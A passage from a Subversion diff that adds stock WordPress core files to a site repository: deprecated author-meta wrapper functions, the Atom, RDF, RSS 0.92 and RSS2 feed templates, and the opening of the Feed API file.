+			continue;
+
+		$category = get_category( $cat_id );
+		if ( is_wp_error( $category ) )
+			return $category;
+		if ( $category->parent == $id && !in_array( $category->term_id, $visited ) ) {
+			$visited[] = $category->term_id;
+			$chain .= $before.$category->term_id.$after;
+			$chain .= get_category_children( $category->term_id, $before, $after );
+		}
+	}
+	return $chain;
+}
+
+/**
+ * Retrieve the description of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's description.
+ * @deprecated Use the_author_meta('description')
+ */
+function get_the_author_description() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'description\')' );
+	return get_the_author_meta('description');
+}
+
+/**
+ * Display the description of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_description
+ * @since 1.0.0
+ * @deprecated 2.8
+ * @deprecated Use the_author_meta('description')
+ */
+function the_author_description() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'description\')' );
+	the_author_meta('description');
+}
+
+/**
+ * Retrieve the login name of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's login name (username).
+ * @deprecated Use the_author_meta('login')
+ */
+function get_the_author_login() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'login\')' );
+	return get_the_author_meta('login');
+}
+
+/**
+ * Display the login name of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_login
+ * @since 0.71
+ * @deprecated 2.8
+ * @deprecated Use the_author_meta('login')
+ */
+function the_author_login() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'login\')' );
+	the_author_meta('login');
+}
+
+/**
+ * Retrieve the first name of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's first name.
+ * @deprecated Use the_author_meta('first_name')
+ */
+function get_the_author_firstname() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'first_name\')' );
+	return get_the_author_meta('first_name');
+}
+
+/**
+ * Display the first name of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_firstname
+ * @since 0.71
+ * @deprecated 2.8
+ * @deprecated Use the_author_meta('first_name')
+ */
+function the_author_firstname() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'first_name\')' );
+	the_author_meta('first_name');
+}
+
+/**
+ * Retrieve the last name of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's last name.
+ * @deprecated Use the_author_meta('last_name')
+ */
+function get_the_author_lastname() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'last_name\')' );
+	return get_the_author_meta('last_name');
+}
+
+/**
+ * Display the last name of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_lastname
+ * @since 0.71
+ * @deprecated 2.8
+ * @deprecated Use the_author_meta('last_name')
+ */
+function the_author_lastname() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'last_name\')' );
+	the_author_meta('last_name');
+}
+
+/**
+ * Retrieve the nickname of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's nickname.
+ * @deprecated Use the_author_meta('nickname')
+ */
+function get_the_author_nickname() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'nickname\')' );
+	return get_the_author_meta('nickname');
+}
+
+/**
+ * Display the nickname of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_nickname
+ * @since 0.71
+ * @deprecated 2.8
+ * @deprecated Use the_author_meta('nickname')
+ */
+function the_author_nickname() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'nickname\')' );
+	the_author_meta('nickname');
+}
+
+/**
+ * Retrieve the email of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's username.
+ * @deprecated Use the_author_meta('email')
+ */
+function get_the_author_email() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'email\')' );
+	return get_the_author_meta('email');
+}
+
+/**
+ * Display the email of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_email
+ * @since 0.71
+ * @deprecated 2.8
+ * @deprecated Use the_author_meta('email')
+ */
+function the_author_email() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'email\')' );
+	the_author_meta('email');
+}
+
+/**
+ * Retrieve the ICQ number of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's ICQ number.
+ * @deprecated Use the_author_meta('icq')
+ */
+function get_the_author_icq() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'icq\')' );
+	return get_the_author_meta('icq');
+}
+
+/**
+ * Display the ICQ number of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_icq
+ * @since 0.71
+ * @deprecated 2.8
+ * @see get_the_author_icq()
+ * @deprecated Use the_author_meta('icq')
+ */
+function the_author_icq() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'icq\')' );
+	the_author_meta('icq');
+}
+
+/**
+ * Retrieve the Yahoo! IM name of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's Yahoo! IM name.
+ * @deprecated Use the_author_meta('yim')
+ */
+function get_the_author_yim() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'yim\')' );
+	return get_the_author_meta('yim');
+}
+
+/**
+ * Display the Yahoo! IM name of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_yim
+ * @since 0.71
+ * @deprecated 2.8
+ * @deprecated Use the_author_meta('yim')
+ */
+function the_author_yim() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'yim\')' );
+	the_author_meta('yim');
+}
+
+/**
+ * Retrieve the MSN address of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's MSN address.
+ * @deprecated Use the_author_meta('msn')
+ */
+function get_the_author_msn() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'msn\')' );
+	return get_the_author_meta('msn');
+}
+
+/**
+ * Display the MSN address of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_msn
+ * @since 0.71
+ * @deprecated 2.8
+ * @see get_the_author_msn()
+ * @deprecated Use the_author_meta('msn')
+ */
+function the_author_msn() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'msn\')' );
+	the_author_meta('msn');
+}
+
+/**
+ * Retrieve the AIM address of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The author's AIM address.
+ * @deprecated Use the_author_meta('aim')
+ */
+function get_the_author_aim() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'aim\')' );
+	return get_the_author_meta('aim');
+}
+
+/**
+ * Display the AIM address of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_aim
+ * @since 0.71
+ * @deprecated 2.8
+ * @see get_the_author_aim()
+ * @deprecated Use the_author_meta('aim')
+ */
+function the_author_aim() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'aim\')' );
+	the_author_meta('aim');
+}
+
+/**
+ * Retrieve the specified author's preferred display name.
+ *
+ * @since 1.0.0
+ * @deprecated 2.8
+ * @param int $auth_id The ID of the author.
+ * @return string The author's display name.
+ * @deprecated Use the_author_meta('display_name')
+ */
+function get_author_name( $auth_id = false ) {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'display_name\')' );
+	return get_the_author_meta('display_name', $auth_id);
+}
+
+/**
+ * Retrieve the URL to the home page of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @uses $authordata The current author's DB object.
+ * @return string The URL to the author's page.
+ */
+function get_the_author_url() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'url\')' );
+	return get_the_author_meta('url');
+}
+
+/**
+ * Display the URL to the home page of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_url
+ * @since 0.71
+ * @deprecated 2.8
+ */
+function the_author_url() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'url\')' );
+	the_author_meta('url');
+}
+
+/**
+ * Retrieve the ID of the author of the current post.
+ *
+ * @since 1.5
+ * @deprecated 2.8
+ * @return int The author's ID.
+ */
+function get_the_author_ID() {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'ID\')' );
+	return get_the_author_meta('ID');
+}
+
+/**
+ * Display the ID of the author of the current post.
+ *
+ * @link http://codex.wordpress.org/Template_Tags/the_author_ID
+ * @since 0.71
+ * @deprecated 2.8
+ * @uses get_the_author_ID()
+*/
+function the_author_ID() {
+	_deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'ID\')' );
+	the_author_meta('ID');
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/feed-atom-comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/feed-atom-comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/feed-atom-comments.php	(revision 44)
@@ -0,0 +1,88 @@
+<?php
+/**
+ * Atom Feed Template for displaying Atom Comments feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('atom') . '; charset=' . get_option('blog_charset'), true);
+echo '<?xml version="1.0" encoding="' . get_option('blog_charset') . '" ?' . '>';
+?>
+<feed
+	xmlns="http://www.w3.org/2005/Atom"
+	xml:lang="<?php echo get_option('rss_language'); ?>"
+	xmlns:thr="http://purl.org/syndication/thread/1.0"
+	<?php do_action('atom_ns'); do_action('atom_comments_ns'); ?>
+>
+	<title type="text"><?php
+		if ( is_singular() )
+			printf(ent2ncr(__('Comments on: %s')), get_the_title_rss());
+		elseif ( is_search() )
+			printf(ent2ncr(__('Comments for %1$s searching on %2$s')), get_bloginfo_rss( 'name' ), esc_attr(get_search_query()));
+		else
+			printf(ent2ncr(__('Comments for %s')), get_bloginfo_rss( 'name' ) . get_wp_title_rss());
+	?></title>
+	<subtitle type="text"><?php bloginfo_rss('description'); ?></subtitle>
+
+	<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastcommentmodified('GMT'), false); ?></updated>
+	<?php the_generator( 'atom' ); ?>
+
+<?php if ( is_singular() ) { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php echo get_comments_link(); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php echo get_post_comments_feed_link('', 'atom'); ?>" />
+	<id><?php echo get_post_comments_feed_link('', 'atom'); ?></id>
+<?php } elseif(is_search()) { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php echo get_option('home') . '?s=' . esc_attr(get_search_query()); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php echo get_search_comments_feed_link('', 'atom'); ?>" />
+	<id><?php echo get_search_comments_feed_link('', 'atom'); ?></id>
+<?php } else { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php bloginfo_rss('home'); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php bloginfo_rss('comments_atom_url'); ?>" />
+	<id><?php bloginfo_rss('comments_atom_url'); ?></id>
+<?php } ?>
+<?php do_action('comments_atom_head'); ?>
+<?php
+if ( have_comments() ) : while ( have_comments() ) : the_comment();
+	$comment_post = get_post($comment->comment_post_ID);
+	get_post_custom($comment_post->ID);
+?>
+	<entry>
+		<title><?php
+			if ( !is_singular() ) {
+				$title = get_the_title($comment_post->ID);
+				$title = apply_filters('the_title_rss', $title);
+				printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss());
+			} else {
+				printf(ent2ncr(__('By: %s')), get_comment_author_rss());
+			}
+		?></title>
+		<link rel="alternate" href="<?php comment_link(); ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+
+		<author>
+			<name><?php comment_author_rss(); ?></name>
+			<?php if (get_comment_author_url()) echo '<uri>' . get_comment_author_url() . '</uri>'; ?>
+
+		</author>
+
+		<id><?php comment_guid(); ?></id>
+		<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?></updated>
+		<published><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?></published>
+<?php if ( post_password_required($comment_post) ) : ?>
+		<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php echo get_the_password_form(); ?>]]></content>
+<?php else : // post pass ?>
+		<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php comment_text(); ?>]]></content>
+<?php endif; // post pass
+	// Return comment threading information (http://www.ietf.org/rfc/rfc4685.txt)
+	if ( $comment->comment_parent == 0 ) : // This comment is top level ?>
+		<thr:in-reply-to ref="<?php the_guid() ?>" href="<?php the_permalink_rss() ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+<?php else : // This comment is in reply to another comment
+	$parent_comment = get_comment($comment->comment_parent);
+	// The rel attribute below and the id tag above should be GUIDs, but WP doesn't create them for comments (unlike posts). Either way, its more important that they both use the same system
+?>
+		<thr:in-reply-to ref="<?php comment_guid($parent_comment) ?>" href="<?php echo get_comment_link($parent_comment) ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+<?php endif;
+	do_action('comment_atom_entry', $comment->comment_ID, $comment_post->ID);
+?>
+	</entry>
+<?php endwhile; endif; ?>
+</feed>
Index: /trunk/www.guidonia.net/wp/wp-includes/feed-atom.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/feed-atom.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/feed-atom.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php
+/**
+ * Atom Feed Template for displaying Atom Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('atom') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<feed
+  xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0"
+  xml:lang="<?php echo get_option('rss_language'); ?>"
+  xml:base="<?php bloginfo_rss('home') ?>/wp-atom.php"
+  <?php do_action('atom_ns'); ?>
+ >
+	<title type="text"><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<subtitle type="text"><?php bloginfo_rss("description") ?></subtitle>
+
+	<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastpostmodified('GMT'), false); ?></updated>
+	<?php the_generator( 'atom' ); ?>
+
+	<link rel="alternate" type="text/html" href="<?php bloginfo_rss('home') ?>" />
+	<id><?php bloginfo('atom_url'); ?></id>
+	<link rel="self" type="application/atom+xml" href="<?php self_link(); ?>" />
+
+	<?php do_action('atom_head'); ?>
+	<?php while (have_posts()) : the_post(); ?>
+	<entry>
+		<author>
+			<name><?php the_author() ?></name>
+			<?php $author_url = get_the_author_meta('url'); if ( !empty($author_url) ) : ?>
+			<uri><?php the_author_meta('url')?></uri>
+			<?php endif; ?>
+		</author>
+		<title type="<?php html_type_rss(); ?>"><![CDATA[<?php the_title_rss() ?>]]></title>
+		<link rel="alternate" type="text/html" href="<?php the_permalink_rss() ?>" />
+		<id><?php the_guid(); ?></id>
+		<updated><?php echo get_post_modified_time('Y-m-d\TH:i:s\Z', true); ?></updated>
+		<published><?php echo get_post_time('Y-m-d\TH:i:s\Z', true); ?></published>
+		<?php the_category_rss('atom') ?>
+		<summary type="<?php html_type_rss(); ?>"><![CDATA[<?php the_excerpt_rss(); ?>]]></summary>
+<?php if ( !get_option('rss_use_excerpt') ) : ?>
+		<content type="<?php html_type_rss(); ?>" xml:base="<?php the_permalink_rss() ?>"><![CDATA[<?php the_content('', 0, '') ?>]]></content>
+<?php endif; ?>
+<?php atom_enclosure(); ?>
+<?php do_action('atom_entry'); ?>
+		<link rel="replies" type="text/html" href="<?php the_permalink_rss() ?>#comments" thr:count="<?php echo get_comments_number()?>"/>
+		<link rel="replies" type="application/atom+xml" href="<?php echo get_post_comments_feed_link(0,'atom') ?>" thr:count="<?php echo get_comments_number()?>"/>
+		<thr:total><?php echo get_comments_number()?></thr:total>
+	</entry>
+	<?php endwhile ; ?>
+</feed>
Index: /trunk/www.guidonia.net/wp/wp-includes/feed-rdf.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/feed-rdf.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/feed-rdf.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php
+/**
+ * RSS 1 RDF Feed Template for displaying RSS 1 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rdf') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<rdf:RDF
+	xmlns="http://purl.org/rss/1.0/"
+	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	xmlns:admin="http://webns.net/mvcb/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	<?php do_action('rdf_ns'); ?>
+>
+<channel rdf:about="<?php bloginfo_rss("url") ?>">
+	<title><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss('description') ?></description>
+	<dc:date><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastpostmodified('GMT'), false); ?></dc:date>
+	<?php the_generator( 'rdf' ); ?>
+	<sy:updatePeriod><?php echo apply_filters( 'rss_update_period', 'hourly' ); ?></sy:updatePeriod>
+	<sy:updateFrequency>1</sy:updateFrequency>
+	<sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
+	<?php do_action('rdf_header'); ?>
+	<items>
+		<rdf:Seq>
+		<?php while (have_posts()): the_post(); ?>
+			<rdf:li rdf:resource="<?php the_permalink_rss() ?>"/>
+		<?php endwhile; ?>
+		</rdf:Seq>
+	</items>
+</channel>
+<?php rewind_posts(); while (have_posts()): the_post(); ?>
+<item rdf:about="<?php the_permalink_rss() ?>">
+	<title><?php the_title_rss() ?></title>
+	<link><?php the_permalink_rss() ?></link>
+	 <dc:date><?php echo mysql2date('Y-m-d\TH:i:s\Z', $post->post_date_gmt, false); ?></dc:date>
+	<dc:creator><?php the_author() ?></dc:creator>
+	<?php the_category_rss('rdf') ?>
+<?php if (get_option('rss_use_excerpt')) : ?>
+	<description><?php the_excerpt_rss() ?></description>
+<?php else : ?>
+	<description><?php the_content_rss('', 0, '', get_option('rss_excerpt_length'), 2) ?></description>
+	<content:encoded><![CDATA[<?php the_content('', 0, '') ?>]]></content:encoded>
+<?php endif; ?>
+	<?php do_action('rdf_item'); ?>
+</item>
+<?php endwhile;  ?>
+</rdf:RDF>
Index: /trunk/www.guidonia.net/wp/wp-includes/feed-rss.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/feed-rss.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/feed-rss.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * RSS 0.92 Feed Template for displaying RSS 0.92 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<?php the_generator( 'comment' ); ?>
+<rss version="0.92">
+<channel>
+	<title><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss('description') ?></description>
+	<lastBuildDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?></lastBuildDate>
+	<docs>http://backend.userland.com/rss092</docs>
+	<language><?php echo get_option('rss_language'); ?></language>
+	<?php do_action('rss_head'); ?>
+
+<?php while (have_posts()) : the_post(); ?>
+	<item>
+		<title><?php the_title_rss() ?></title>
+<?php if (get_option('rss_use_excerpt')) { ?>
+		<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+<?php } else { // use content ?>
+		<description><?php the_content_rss('', 0, '', get_option('rss_excerpt_length')) ?></description>
+<?php } ?>
+		<link><?php the_permalink_rss() ?></link>
+		<?php do_action('rss_item'); ?>
+	</item>
+<?php endwhile; ?>
+</channel>
+</rss>
Index: /trunk/www.guidonia.net/wp/wp-includes/feed-rss2-comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/feed-rss2-comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/feed-rss2-comments.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+/**
+ * RSS2 Feed Template for displaying RSS2 Comments feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+?>
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:atom="http://www.w3.org/2005/Atom"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	<?php do_action('rss2_ns'); do_action('rss2_comments_ns'); ?>
+	>
+<channel>
+	<title><?php
+		if ( is_singular() )
+			printf(ent2ncr(__('Comments on: %s')), get_the_title_rss());
+		elseif ( is_search() )
+			printf(ent2ncr(__('Comments for %s searching on %s')), get_bloginfo_rss( 'name' ), esc_attr($wp_query->query_vars['s']));
+		else
+			printf(ent2ncr(__('Comments for %s')), get_bloginfo_rss( 'name' ) . get_wp_title_rss());
+	?></title>
+	<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
+	<link><?php (is_single()) ? the_permalink_rss() : bloginfo_rss("url") ?></link>
+	<description><?php bloginfo_rss("description") ?></description>
+	<lastBuildDate><?php echo mysql2date('r', get_lastcommentmodified('GMT')); ?></lastBuildDate>
+	<?php the_generator( 'rss2' ); ?>
+	<sy:updatePeriod><?php echo apply_filters( 'rss_update_period', 'hourly' ); ?></sy:updatePeriod>
+	<sy:updateFrequency><?php echo apply_filters( 'rss_update_frequency', '1' ); ?></sy:updateFrequency>
+	<?php do_action('commentsrss2_head'); ?>
+<?php
+if ( have_comments() ) : while ( have_comments() ) : the_comment();
+	$comment_post = get_post($comment->comment_post_ID);
+	get_post_custom($comment_post->ID);
+?>
+	<item>
+		<title><?php
+			if ( !is_singular() ) {
+				$title = get_the_title($comment_post->ID);
+				$title = apply_filters('the_title_rss', $title);
+				printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss());
+			} else {
+				printf(ent2ncr(__('By: %s')), get_comment_author_rss());
+			}
+		?></title>
+		<link><?php comment_link() ?></link>
+		<dc:creator><?php echo get_comment_author_rss() ?></dc:creator>
+		<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_comment_time('Y-m-d H:i:s', true, false), false); ?></pubDate>
+		<guid isPermaLink="false"><?php comment_guid() ?></guid>
+<?php if ( post_password_required($comment_post) ) : ?>
+		<description><?php echo ent2ncr(__('Protected Comments: Please enter your password to view comments.')); ?></description>
+		<content:encoded><![CDATA[<?php echo get_the_password_form() ?>]]></content:encoded>
+<?php else : // post pass ?>
+		<description><?php comment_text_rss() ?></description>
+		<content:encoded><![CDATA[<?php comment_text() ?>]]></content:encoded>
+<?php endif; // post pass
+	do_action('commentrss2_item', $comment->comment_ID, $comment_post->ID);
+?>
+	</item>
+<?php endwhile; endif; ?>
+</channel>
+</rss>
Index: /trunk/www.guidonia.net/wp/wp-includes/feed-rss2.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/feed-rss2.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/feed-rss2.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * RSS2 Feed Template for displaying RSS2 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:atom="http://www.w3.org/2005/Atom"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
+	<?php do_action('rss2_ns'); ?>
+>
+
+<channel>
+	<title><?php bloginfo_rss('name'); wp_title_rss(); ?></title>
+	<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss("description") ?></description>
+	<lastBuildDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?></lastBuildDate>
+	<?php the_generator( 'rss2' ); ?>
+	<language><?php echo get_option('rss_language'); ?></language>
+	<sy:updatePeriod><?php echo apply_filters( 'rss_update_period', 'hourly' ); ?></sy:updatePeriod>
+	<sy:updateFrequency><?php echo apply_filters( 'rss_update_frequency', '1' ); ?></sy:updateFrequency>
+	<?php do_action('rss2_head'); ?>
+	<?php while( have_posts()) : the_post(); ?>
+	<item>
+		<title><?php the_title_rss() ?></title>
+		<link><?php the_permalink_rss() ?></link>
+		<comments><?php comments_link(); ?></comments>
+		<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?></pubDate>
+		<dc:creator><?php the_author() ?></dc:creator>
+		<?php the_category_rss() ?>
+
+		<guid isPermaLink="false"><?php the_guid(); ?></guid>
+<?php if (get_option('rss_use_excerpt')) : ?>
+		<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+<?php else : ?>
+		<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+	<?php if ( strlen( $post->post_content ) > 0 ) : ?>
+		<content:encoded><![CDATA[<?php the_content() ?>]]></content:encoded>
+	<?php else : ?>
+		<content:encoded><![CDATA[<?php the_excerpt_rss() ?>]]></content:encoded>
+	<?php endif; ?>
+<?php endif; ?>
+		<wfw:commentRss><?php echo get_post_comments_feed_link(); ?></wfw:commentRss>
+		<slash:comments><?php echo get_comments_number(); ?></slash:comments>
+<?php rss_enclosure(); ?>
+	<?php do_action('rss2_item'); ?>
+	</item>
+	<?php endwhile; ?>
+</channel>
+</rss>
Index: /trunk/www.guidonia.net/wp/wp-includes/feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/feed.php	(revision 44)
@@ -0,0 +1,561 @@
+<?php
+/**
+ * WordPress Feed API
+ *
+ * Many of the functions used in here belong in The Loop, or The Loop for the
+ * Feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ */
+
+/**
+ * RSS container for the bloginfo function.
+ *
+ * You can retrieve anything that you can using the get_bloginfo() function.
+ * Everything will be stripped of tags and characters converted, when the values
+ * are retrieved for use in the feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 1.5.1
+ * @uses apply_filters() Calls 'get_bloginfo_rss' hook with two parameters.
+ * @see get_bloginfo() For the list of possible values to display.
+ *
+ * @param string $show See get_bloginfo() for possible values.
+ * @return string
+ */
+function get_bloginfo_rss($show = '') {
+	$info = strip_tags(get_bloginfo($show));
+	return apply_filters('get_bloginfo_rss', convert_chars($info), $show);
+}
+
+/**
+ * Display RSS container for the bloginfo function.
+ *
+ * You can retrieve anything that you can using the get_bloginfo() function.
+ * Everything will be stripped of tags and characters converted, when the values
+ * are retrieved for use in the feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 0.71
+ * @uses apply_filters() Calls 'bloginfo_rss' hook with two parameters.
+ * @see get_bloginfo() For the list of possible values to display.
+ *
+ * @param string $show See get_bloginfo() for possible values.
+ */
+function bloginfo_rss($show = '') {
+	echo apply_filters('bloginfo_rss', get_bloginfo_rss($show), $show);
+}
+
+/**
+ * Retrieve the default feed.
+ *
+ * The default feed is 'rss2', unless a plugin changes it through the
+ * 'default_feed' filter.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.5
+ * @uses apply_filters() Calls 'default_feed' hook on the default feed string.
+ *
+ * @return string Default feed, or for example 'rss2', 'atom', etc.
+ */
+function get_default_feed() {
+	return apply_filters('default_feed', 'rss2');
+}
+
+/**
+ * Retrieve the blog title for the feed title.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.2.0
+ * @uses apply_filters() Calls 'get_wp_title_rss' hook on title.
+ * @uses wp_title() See function for $sep parameter usage.
+ *
+ * @param string $sep Optional.How to separate the title. See wp_title() for more info.
+ * @return string Error message on failure or blog title on success.
+ */
+function get_wp_title_rss($sep = '&#187;') {
+	$title = wp_title($sep, false);
